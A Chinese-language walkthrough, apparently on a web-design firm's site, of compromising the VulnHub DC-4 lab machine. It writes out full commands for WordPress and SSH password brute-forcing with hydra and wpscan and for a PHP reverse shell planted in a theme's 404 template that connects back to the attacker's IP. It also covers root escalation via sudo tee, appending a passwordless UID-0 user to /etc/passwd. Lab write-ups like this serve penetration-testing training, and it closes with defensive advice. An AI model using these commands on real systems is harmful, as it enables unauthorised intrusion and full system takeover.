ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

DC-4靶机实战:信息收集、密码爆破与sudo提权全解析

DC-4靶机实战:信息收集、密码爆破与sudo提权全解析 VulnHub上的DC系列靶机我一直觉得比很多云平台上的在线靶场更适合练基本功。DC-4是其中非常经典的一台没有曲折的CVE利用链也没有复杂的内网域环境整台机器就靠信息收集、密码爆破和sudo配置疏忽一步步打通。完整走一遍你会对“暴力破解不是无脑跑字典而是和信息收集打配合”这句话有特别直观的理解。这篇记录会把每个环节的命令、判断依据、踩过的坑都展开讲适合刚入门渗透测试、想把Web攻击和Linux提权串起来的新手老手也可以当作一次快速复盘看看那些最朴素的手法现在还记得多少。1. 靶机信息收集与资产盘点1.1 准备环境导入靶机和主机发现先从VulnHub下载DC-4的OVA镜像导入VMware或VirtualBox时我建议把网络模式设为NAT原因是NAT模式下攻击机和靶机的IP在同一网段通信链路最简单也不会出现桥接模式那种IP冲突问题。Kali这边我用的是默认安装保持在同一台宿主机的NAT网络里即可。开机后并不清楚靶机被DHCP分配了什么IP需要先做主机发现。这里有两个常用命令netdiscover -r 192.168.10.0/24或者用arp扫描arp-scan -l这个步骤很容易被新手跳过但实际工作中IP都不知道后续全是空谈。扫描结果里会出现若干主机如何分辨哪台是靶机方法很简单先看MAC地址VMware虚拟机的MAC厂商通常是VMware开头排除掉Kali本机和宿主机网关剩下的就是目标。另外也可以对比DHCP列表或者干脆逐个访问开放端口能打开Web页面的那个基本就是目标。我在本地的实例IP是192.168.10.131后文所有命令都基于这个IP来说明。1.2 端口扫描锁定SSH与Web入口探测到IP之后我先做了一次全端口TCP扫描目的是先把目标所有暴露的端口摸清楚。全端口扫描比默认的常见端口扫描慢但在靶机场景下不会等太久nmap -sS -sV -sC -p- 192.168.10.131参数拆开解释一下-sS半开SYN扫描速度快且不容易触发大量应用层日志。-sV探测服务版本。-sC加载Nmap默认脚本相当于给服务做了基础安全检测。-p-扫描1到65535全部端口。结果主要就两个开放端口端口服务版本22/tcpSSHOpenSSH 7.4p1 Debian 10deb9u680/tcpHTTPnginx 1.15.10这个结果其实已经把攻击面框死了全端口只开22和80。常见的思路是优先看Web因为SSH默认没有明显的漏洞可利用而且爆破是后话。很多人看到只有两个端口就不知道从哪下手我的经验是端口越少越要盯着Web应用本身很多靶机都把戏放在网站源码、登录后台和隐藏路径里。1.3 服务识别与目录探测既然80端口是nginx直接访问目标IP映入眼帘的是一个WordPress站点的首页。界面挺简洁顶部显示了“Login / Admin”之类的入口。WordPress这种CMS意味着两个重要东西后台管理入口和可能存在插件/主题漏洞。我习惯先做一轮目录扫描看看有没有暴露的备份文件或敏感目录gobuster dir -u http://192.168.10.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,html跑下来基本是常规的wp-admin、wp-includes、wp-content这类目录没有发现明显的备份文件。既然如此重点就落在WordPress后台本身。接下来需要知道这个站点有哪些用户这里用wpscan来枚举wpscan --url http://192.168.10.131 --enumerate u很快枚举出一个用户admin。只有这一个用户名那爆破目标就明确了。到这里信息收集的棋盘已经铺开一个WordPress后台、管理员用户名admin、还没有后台密码。2. WordPress后台爆破与Webshell获取2.1 为什么先枚举admin而不是盲爆很多人拿到后台地址第一反应是拿密码字典直接开跑这是常见的错误姿势。如果你不知道有效用户名爆破时间会成倍增加而且大部分密码字典都是为常见用户名设计的爆破时服务器还可能因为大量失败请求触发锁定或封禁IP。先枚举用户的价值在于把“用户名和密码都是未知数”的二维问题降维成“密码未知”的一维问题。WordPress默认支持通过/?author1方式枚举用户wpscan正是利用了这类特性我们直接用就行。顺带说一句正式渗透测试里如果碰到多用户站点枚举出来的用户名还能用于后续钓鱼或撞库分析信息收集阶段越仔细后面对抗成本越低。2.2 后台密码爆破实操拿到用户admin后我有两种爆破路径wpscan自带爆力破解或者hydra构造登录POST请求。这里我两个都试过先说wpscan的写法。检查一下密码字典Kali里rockyou.txt在部分版本中默认是压缩包需要先解压sudo gunzip /usr/share/wordlists/rockyou.txt.gz然后跑wpscanwpscan --url http://192.168.10.131 --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 20爆破其实是拿字典里的每个密码去尝试登录所以速度取决于字典大小、目标性能和网络延迟。rockyou.txt有1400多万条虽然是400多MB的字典但wpscan多线程跑下来也不需要太久。稍等一会儿结果就出来了密码为happyfun。这里补充一个hydra的写法方便你把原理看懂。hydra爆破WordPress的关键是模拟登录POST请求需要确保表单字段名正确hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.10.131 http-post-form /wp-login.php:log^USER^pwd^PASS^wp-submitLog Intestcookie1:FInvalid username -t 16其中http-post-form后面有三个冒号分隔的字段路径、POST数据、失败判断条件。^USER^和^PASS^是hydra的占位符会用-l指定用户名和-P字典中的密码替换。WordPress登录失败时页面会返回“ERROR: Invalid username”之类的内容所以失败标记可以写FERROR或FIncorrect具体看实际响应。抓包看一下登录请求会更稳所以我不建议直接抄命令理解规则比记命令重要。2.3 修改主题文件拿到反弹Shell用admin / happyfun登录WordPress后台。后台能利用的方式有很多比如上传恶意插件、修改主题的PHP文件、利用编辑器直接写入Webshell。考虑到靶机环境稳定我选择最直观的方式编辑主题文件。操作路径是进入“外观 / Appearance”中的“主题文件编辑器 / Theme Editor”。右侧选择当前启用主题的404模板文件通常是404.php。在文件底部追加一段反弹Shell代码。点击更新文件。插入的代码经典写法如下?php system(bash -c bash -i /dev/tcp/192.168.10.128/4444 01); ?这里192.168.10.128是你攻击机Kali的IP4444是监听端口。保存后攻击机先开启监听nc -lvnp 4444然后访问一个不存在的路径去触发404模板例如访问http://192.168.10.131/not-exist-pageWordPress就会渲染404.phpPHP代码随之执行反弹Shell就会连回攻击机。有人会问为什么不直接传一个一句话木马然后连接菜刀/蚁剑。可以但反弹Shell能给你完整的交互式终端后续执行命令、切换用户、交互式提权都更方便。不过后面还会讲到刚反弹回来的Shell也需要升级才能获得良好的交互体验。3. 从低权限Shell到SSH横向移动3.1 升级交互Shell与环境枚举监听端收到连接后命令提示符是$这时的Shell是www-data权限而且通常是一个非交互的简单Shell。直接执行sudo -l或者su这种需要交互的命令时经常会出现no tty present或者must be run from a terminal的报错。先用Python升级为伪终端python3 -c import pty; pty.spawn(/bin/bash)接着按CtrlZ把当前会话放到后台然后执行stty raw -echo fg这样会得到一个带终端能力的交互式Shell方向键、CtrlC这些快捷键都能正常使用。这一步在后续提权操作中是真的救命不要偷懒跳过。升级完Shell之后开始系统枚举。先看用户列表cat /etc/passwd重点关注有/bin/bash权限的普通用户这里发现两个jimcharles然后查看网站配置文件确认Web层面是否有更多口令信息cat /var/www/html/wp-config.php里面能看到MySQL数据库的账号密码但这次靶机路线不依赖数据库先把信息记下来备用。接着查看/home目录确认每个用户目录的布局。jim的目录里有一些文件但www-data权限不一定能读完所有文件只能确认这个用户是真实可登录账号。到这里手里的筹码是Webshell权限、两个系统用户名、一个WordPress密码。下一步自然就是横向移动尝试用暴力破解拿到jim的SSH密码。3.2 转向SSH爆破为什么从Web转向SSH原因很直接当前www-data权限太低修改系统文件、读取用户邮件等操作都受限提权需要更高权限账号。端口扫描已经确认22端口开放并且允许密码认证结合枚举出的jim用户拿rockyou去跑SSH是顺理成章的。爆破命令hydra -l jim -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.131 -t 4 -f-t 4控制并发连接数不要开太大避免目标直接拒绝连接。-f表示找到正确密码后立即停止。跑了没多久结果出来jim的密码是jibril04。这个阶段有个容易忽略的细节爆破出的密码也是从rockyou里来的。所以与其说密码是“爆破出来的”不如说它是被信息收集缩小的攻击面之后被弱口令字典撞出来的。靶机系统管理员没有设置足够强度的密码这是整个攻击链里的头号隐患。拿到密码后就可以登录了ssh jim192.168.10.1313.3 邮件中的第二组凭据登录进去之后我先看jim的home目录里面有几个普通文件和目录单看这些文件内容没有直接获得太多敏感信息。重点来了Linux系统里用户收到的本地邮件通常存放在/var/mail/或者/var/spool/mail/目录下文件名就是用户名。查看jim的邮件cat /var/mail/jim邮件内容来自root用户大意是说给charles用户设置了一个密码并提示jim记住它。邮件正文中直接给出了charles的登录密码^xHhAhvim0yY。这里我必须提醒一个非常现实的大坑这个密码以^开头如果直接在shell里输入例如执行su charles后粘贴密码bash可能会把^解释为历史展开触发报错。安全稳妥的做法是切换到charles时遇到密码提示用单引号把密码包裹起来输入或者先将密码写入一个变量再引用。密码中带特殊字符时这种细节能避免你反复输入报错、怀疑自己是不是看错密码。不管怎样切换到charlessu charles输入密码后验证一下身份id输出显示uid已经切换为charles。横向移动成功但这还不是终点因为charles的权限也只比jim高了一点点真正的目标是root。4. sudo配置缺陷teepee权限提升4.1 检查sudo权限切换到charles之后第一时间执行sudo -l这是Linux提权枚举里优先级最高的命令之一它直接告诉你当前用户能用sudo执行什么命令。结果非常有意思User charles may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/teepee意思是charles可以不需要密码以root身份执行/usr/bin/teepee这个程序。问题来了teepee是什么如果只看命令名很多人会一头雾水。在终端里查看一下这个文件的属性file /usr/bin/teepee ls -la /usr/bin/teepee从反馈来看这个teepee要么是指向tee命令的软链接要么是tee命令的复制/脚本封装。无论如何它实际操作就是tee命令。tee命令本来有什么作用简单说它从标准输入读取内容一边输出到标准输出一边把内容写入到指定的文件里。如果你把sudo权限交给了一个能写文件的程序而且是以root身份运行那就等于获得了向系统任意文件写入内容的权利。这是典型的sudo授权不当导致的提权漏洞。4.2 利用teepee写入/etc/passwd最常见的利用思路向/etc/passwd文件末尾追加一个新用户并让这个用户具备root权限的UID用户ID为0。先构造一行内容echo toor::0:0:root:/root:/bin/bash | sudo /usr/bin/teepee -a /etc/passwd拆解这行命令toor是新用户名刻意把root倒过来写。第二个字段为空表示该用户没有密码。第三个字段0是UID第四个字段0是GID让这个用户和root享有同样的身份。:/root:/bin/bash指定家目录和登录Shell。关键是-a参数表示append追加而不是覆盖。如果忘记-atee会把整个/etc/passwd覆盖成只有一行那系统就直接崩坏到无法登录属于必须牢记的破坏性操作。追加完成后切换用户su toor如果提示输入密码直接回车即可。因为passwd中密码字段为空系统会认为是空口令。执行id看到uid0(root)root到手。这个操作能成功根本原因就是sudo规则允许普通用户以root运行tee工具而tee工具又没有限制可写文件范围。4.3 另一种思路修改/etc/sudoers除了往/etc/passwd里塞用户还可以用同样的方式往/etc/sudoers文件里追加一条规则把charles自己变成完全管理员echo charles ALL(ALL:ALL) ALL | sudo /usr/bin/teepee -a /etc/sudoers执行后charles执行任何sudo命令都不受限制sudo su然后同样是root。那我在实际练习里更推荐哪种如果你是在靶机里练习两种都能拿到root。但如果放在真实环境我更建议先尝试往/etc/passwd追加用户因为/etc/sudoers对语法极其敏感一旦格式错误轻则sudo全部失效重则连系统安全策略都被破坏。而往/etc/passwd追加一行操作相对不容易把整个系统搞挂。提权操作的第一原则永远是一边拿权限一边稳住环境别为了拿一个root把目标打瘫。5. 常见问题与踩坑实录5.1 爆破卡住或失败怎么办我实际遇到过几种情况字典没解压。Kali里rockyou.txt.gz如果不先解压wpscan或hydra会直接找不到文件。wpscan爆破慢。默认线程不高可以通过--max-threads参数提升并发数。hydra爆破WordPress失败。最常见的是POST数据格式不对或者失败标记判断错了。建议先用curl或者Burp Suite抓一次登录请求把字段名和错误提示原样看清楚再填到hydra参数里。目标对爆破有限流。这时候不要硬开高线程降低-t参数或者加延迟参数慢慢跑总有结果。如果是SSH爆破目标连续拒绝连接也常见除了降线程还可以检查是否被fail2ban这类工具封了IP。5.2 反弹Shell不稳定的处理反弹Shell经常遇到两个问题。第一是无法连接常见原因反弹的IP写错写成了Kali的额外网卡地址。攻击机没开监听或监听端口被防火墙拦截。WordPress的PHP函数被禁用exec等函数不可用。判断办法是在Webshell里先执行一个无害命令测试比如把404模板改成?php echo shell_exec(id); ?访问后能输出uid33(www-data)说明PHP命令执行是通的再换反弹Shell。反弹Shell代码建议做URL编码或使用-c参数避免、这类字符被后台解析掉。第二是Shell不稳定、容易断。建议拿到Shell后立刻用python3 -c import pty; pty.spawn(/bin/bash)升级成伪终端不仅能获得交互能力后续执行su、ssh这类需要终端的命令时才不会报错。5.3 提权失败与修复教训用teepee往/etc/passwd追加用户后如果su toor失败先检查追加是否成功tail -1 /etc/passwd如果看到那行内容在但登录还是不成功看下/etc/shadow里是否已经存在一个已有的toor用户或者系统的PAM策略是不是禁用了空密码用户登录。如果确认不行就改用往/etc/sudoers追加权限的方式。还有一个常见低级错误sudo执行teepee时命令要写完整路径。因为sudo配置里写的是/usr/bin/teepee而不是teepee在sudo环境下环境变量会重置sudo teepee会提示命令找不到。5.4 考点复盘与防御建议整条攻击链路可以这样概括阶段利用点关键成果信息收集Nmap端口扫描 wpscan用户枚举锁定WordPress与SSH获得admin用户名Web攻击WordPress后台弱口令爆破 修改主题文件获得www-data权限的反弹Shell横向移动hydra爆破SSH 查看本地邮件获得jim、charles用户的密码权限提升sudo错误配置允许以root运行teepee向/etc/passwd写入toor用户拿到root从防御角度看这台靶机暴露出几个典型问题WordPress后台使用了弱口令系统用户的SSH密码也在rockyou字典里root用户通过邮件明文传递密码sudo授权给了tee这种具备写文件能力的工具而且没有限制参数。真实环境中这些问题对应的防护措施就是强制密码复杂度策略、Web后台增加验证码和登录失败锁定、不对普通用户开放明文的敏感信息传递渠道、sudo授权坚持最小权限原则同时能不用命令行处理文件操作就别用。6. 写在最后DC-4这套流程整体走下来没有任何一个环节是“高精尖”技术但它把渗透测试里最重要的基本功串得特别完整尤其是“拿到一个点之后怎么往下走”的思路。我个人的体会是新手练习这类靶机时尽量不要全程依赖MSF的一键模块手动把hydra、wpscan、反弹Shell、sudo提权每一步都过一遍比你刷十篇教程都管用。工具只是放大器真正决定你能走多远的是对Linux权限模型、进程身份、sudo规则这些底层机制的理解深度。最后再分享一个小技巧打完一台靶机不要立刻删虚拟机把每一步命令和历史输出存成一个笔记过两周再空手打一遍如果你的操作比第一次顺畅了很多说明这套渗透思路已经刻进脑子里了。
返回列表